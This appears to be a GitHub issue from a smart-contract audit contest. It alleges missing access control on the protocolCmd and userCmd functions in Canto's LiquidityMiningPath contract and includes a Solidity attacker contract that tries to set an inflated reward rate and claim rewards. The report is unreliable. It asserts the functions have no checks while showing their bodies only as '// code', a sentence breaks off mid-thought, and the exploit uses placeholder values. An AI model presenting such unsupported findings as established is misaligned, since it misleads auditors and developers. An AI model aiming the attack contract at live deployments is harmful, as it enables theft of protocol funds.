Lines of code
<https://github.com/code-423n4/2023-10-canto/blob/40edbe0c9558b478c84336aaad9b9626e5d99f34/canto_ambient/contracts/callpaths/LiquidityMiningPath.sol#L41-L52>
There is no access control on the protocolCmd and userCmd functions in LiquidityMiningPath. This means anyone can call them. There should be some checks to restrict access.
The protocolCmd and userCmd functions are defined on LiquidityMiningPath.sol:
/* @notice Consolidated method for protocol control related commands.
* Used to set reward rates */
function protocolCmd(bytes calldata cmd) public virtual {
// code
}
/* @notice Consolidated method for user commands.
* Used for claiming liquidity mining rewards. */
function userCmd(bytes calldata input) public payable {
// code
}
Neither function has any require statements, modifiers, or other access controls on who can call them. This could allow anyone to execute sensitive protocol operations like setting reward rates or claiming rewards.
function protocolCmd:
<https://github.com/code-423n4/2023-10-canto/blob/40edbe0c9558b478c84336aaad9b9626e5d99f34/canto_ambient/contracts/callpaths/LiquidityMiningPath.sol#L26-L37>
function userCmd:
<https://github.com/code-423n4/2023-10-canto/blob/40edbe0c9558b478c84336aaad9b9626e5d99f34/canto_ambient/contracts/callpaths/LiquidityMiningPath.sol#L41-L52>
Here is some example code demonstrating how an attacker could abuse the lack of access control on protocolCmd and userCmd:
// Attacker contract
contract Attacker {
LiquidityMiningPath public liquidityMining;
constructor(address _liquidityMiningAddress) {
liquidityMining = LiquidityMiningPath(_liquidityMiningAddress);
}
function exploitProtocolCmd() public {
// Craft exploit bytecode
bytes memory exploitCmd = abi.encode(
ProtocolCmd.SET_CONC_REWARDS_CODE, // Set concentrated rewards
0x123, // Fake pool ID
block.timestamp, // Start from current week
block.timestamp + 365 days, // Set rewards for 1 year
1000000 * 1e18 // Very high reward rate!
);
// Call protocolCmd with fake input
liquidityMining.protocolCmd(exploitCmd);
}
function exploitUserCmd() public {
// Craft exploit bytecode
bytes memory exploitInput = abi.encode(
UserCmd.CLAIM_CONC_REWARDS_CODE,
0x123, // Fake pool ID
-60, // Lower tick
60, // Upper tick
[uint32(block.timestamp)] // Current week
);
// Call userCmd to claim fake rewards
liquidityMining.userCmd{value: 0}(exploitInput);
}
}
In this attack, the attacker
The lack of access control allows anyone to call these functions and pass invalid parameters. This could corrupt the protocol state or steal funds.
Manual
Consider adding a require check like:
require(msg.sender == governanceAddress, "Only governance can call");
Or use an onlyGovernance modifier. Lack of access control is a security risk for these sensitive functions.
Access Control
The text was updated successfully, but these errors were encountered:
All reactions